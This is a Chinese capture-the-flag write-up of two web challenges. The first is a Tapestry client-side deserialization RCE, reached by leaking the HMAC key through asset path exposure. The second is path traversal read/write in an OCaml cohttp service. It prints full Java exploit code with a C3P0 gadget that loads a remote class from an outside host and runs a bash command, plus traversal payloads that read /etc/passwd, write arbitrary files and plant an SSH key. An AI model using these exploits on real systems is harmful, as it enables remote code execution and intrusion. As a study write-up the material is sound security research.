前言
接 之前文章 留下的坑,主要分析了java Tapestry的一个从文件读取到反序列化RCE的一个漏洞和ocaml的一个小trick。
hotel booking system
发现Tapestry版本号,同时发现该网站是Tapestry的demo,在github已开源:
https://github.com/ccordenier/tapestry5-hotel-booking
!
同时题目功能极少,只有search功能:
以及hint信息:
Anyway, As the project has no usable gadget libraries, I added C3P0 to pom.xml. 25wzsxtql
那么大致猜测与其框架Tapestry漏洞有关,尝试搜索相关CVE:
尝试搜索相关漏洞细节描述,但无果,已知信息只有:
Apache Tapestry before 5.3.6 relies on client-side object storage without checking whether a client has modified an object, which allows remote attackers to cause a denial of service (resource consumption) or execute arbitrary code via crafted serialized data.
那么大概可以判断,应该是没有校验客户端对象是否被更改,直接进行反序列化,触发攻击。
既然没有漏洞描述,那么只能自己去挖掘了,通过搜索,找到其fix version:
Implement HMAC signatures on object streams stored on the client (Revision 95846b173d83c2eb42db75dae3e7d5e13a633946)
查看响应commit,发现一些改动:
加入hmac签名配置:
tapestry-core/src/main/java/org/apache/tapestry5/SymbolConstants.java
在AppModule.java可设置签名key:
tapestry-core/src/test/java/org/apache/tapestry5/integration/app1/services/AppModule.java
从fix version commit中并未发现和反序列直接挂钩的修复,应该修复落点在客户端对象校验,确保对象未被修改。但这样存在问题,一旦签名key泄露,那么依然可以进行攻击,随手尝试更改题目中的可疑值t:formdata:
<input value="P7crGfP9hcuUq9D5E5+kJLaAq8c=:H4sIAAAAAAAAAJWQsUrEQBRFn4HAQkRRtLDXdtbCbbRxEYSFIIFgLZPJM45MZmZnJibbWPkTNn6BbKVfsIWd/+AH2FhYWZhJGsFFsHucd+Ee7uM7hPUaRBOZY3M4rdDMwBoYKVMQqim7QuKoRuvMbESYMih4RjJqkYyzFlLmTjmKfDdFV+m980X0tv3yFcBKDBFT0hklzmiJDjbja3pDh4LKYpg6w2Vx1GgHYde4RGD8X4HEKIbWplVWcmu5kot5fnD5+fAaADS63oKNvsGo2mo0mhYIdgq3AA4iDxM0SQuXJ30wrNdhtX9Z3+K85/GfnkyVWkmUzpJOzP3WvE8/dp6f7k4CCGIYMMHb9CT3fX5DFFi2wG/YIb/ZoG+/2P9xfgP6pMxQxwEAAA==" name="t:formdata" type="hidden"></input><div class="form-group"><label for="query" class="control-label col-md-4">
得到回显:
java.io.IOException: Client data associated with the current request appears to have been tampered with (the HMAC signature does not match).
所以应该攻击点确实在t:formdata。
那么既然fix version没有明确的修复,只能自己跟了:
我们在search下断点,发现最终回来到onAction():
Object onAction(EventContext context) throws IOException { ...... didPushBeanValidationContext = true; executeStoredActions(); heartbeat.end(); ...... }
关键函数executeStoredActions():
而全局搜索t:formdata,来到路径:
org/apache/tapestry5/corelib/components/Form.java
我们跟进FORM_DATA:
发现正是此处调用了客户端传来的t:formdata。
看到后续操作:
跟进decodeClientData():
可以发现t:formdata的编码模式:
GZIP compress Base64 encode
然后会来到反序列化阶段,但需要注意的是5.3.8和5.4.3不太一样:
会多一个:
boolean cancelAction = ois.readBoolean();
那么最后的落点大致都清楚了,关键点在于怎么拿到签名key:
http://tapestry.apache.org/assets.html#Assets-AssetSecurity
可以发现这里有提到tapestry的安全问题,我们试一下:
我们尝试访问:
发现可以成功列目录,同时有提到
Fortunately, this can't happen. Files with extension ".class" are secured; they must be accompanied in the URL with a query parameter that is the MD5 hash of the file's contents. If the query parameter is absent, or doesn't match the actual file's content, the request is rejected.
但这里的md5 hash似乎并没有起到安全保护的能力,而是会自动跳转到正确的hash。
所以我们可以尝试读取签名key文件内容,根据之前的fix version commit,我们知道key一般定义在:
services/AppModule.java
我们尝试访问该文件,hash md5我们随便填写,发现可以列目录,得到:
AppModule.class AppModule$1.class Authenticator.class BasicAuthenticator.class
读取AppModule.class后进行反编译,得到签名key:
http://192.168.1.106:10000/assets/app/e3d6c19d/services/AppModule.class
最后就是exp的构造了:
题目提供了hint:c3p0,我们可以进行检索:
https://blog.csdn.net/fnmsd/article/details/88959428#c3p0
参考这篇文章可以构造出exp,这里直接使用balsn的exp:
import com.mchange.v2.c3p0.PoolBackedDataSource; import org.apache.tapestry5.internal.services.ClientDataEncoderImpl; import org.apache.tapestry5.services.ClientDataEncoder; import org.apache.tapestry5.services.ClientDataSink; import java.io.*; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import ysoserial.payloads.util.Reflections; public class Main { static public Object getExploit(String command) throws Exception { int sep = command.lastIndexOf(':'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); } String url = command.substring(0, sep); String className = command.substring(sep + 1); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); return b; } private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url; public PoolSource ( String className, String url ) { this.className = className; this.url = url; } public Reference getReference () throws NamingException { return new Reference("exploit", this.className, this.url); } public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} } public static void main(String[] args) throws Exception { Object exp = getExploit("http://240.240.240.240:1234/:Exploit"); try { ClientDataEncoder en = new ClientDataEncoderImpl(null, "TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)", null, "does not matter", null); ClientDataSink sink = en.createSink(); ObjectOutputStream s = sink.getObjectOutputStream(); s.writeUTF("1234"); s.writeBoolean(true); s.writeObject(exp); s.close(); String out = sink.getClientData(); System.out.println(out); } catch (IOException i) { i.printStackTrace(); return; } } }
public class Exploit { public Exploit() { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "sleep 5" }).waitFor(); } catch (Exception e) { } } }
题目使用ocaml-cohttp完成了一个web服务,使用文件系统作为数据库,实现了注册,登录,存储,加载等操作。
我们观察到其功能:
match handler with | "register" -> register req body args | "login" -> test_login req body args | "load" -> default_load req body args | "store" -> default_store req body args | "static" -> static req body args | "batch" -> batch req body args | _ -> unknown
我们首先进行用户注册:
再进行登录,并尝试文件读取:
发现error,我们查看原因:
由于目录不存在而导致我们目录穿越失败,不能进行文件读取。而这串md5和相关路径来自于以下代码:
那么很自然想到,需要让用户名为空,得到的md5自然为空,那么就可以进行目录上跳。
这里我们观察到login:
| "login"::args::body::others -> let out = match is_default with | true -> real_login false (whoami sess) cont req body args | false -> real_login true (whoami sess) cont req body args in out
跟进whoami,发现其为:
let whoami = fun _ -> SessionState.get
这里可以利用一个trick,使用户名为空,即第一次随意用用户名登录,第二次紧接着用空用户登录,即可构造用户名为空。
任意文件读取:
login?sky?:login??:load?../../../../../../etc/passwd?sky
但是受制于load中的readfile:
我们只能读取文件第一行的内容,但flag文件第一行内容并不是flag。但我们注意到还可以使用store进行任意文件写入。
这里store的bypass和load一致,不再分析,直接给出exp:
login?user?user:login??:store?../../../../../../tmp/test_file?test_content
那么这里应该可以想到写入ssh key,从而达成无需输入密码即可连入的目的。那么即可连入题目server,获取flag。
后记
本篇文章结束了之前留下的坑,其实java和ocaml对我来说,都是接触较少的语言,希望以后能有更多机会挑战自己。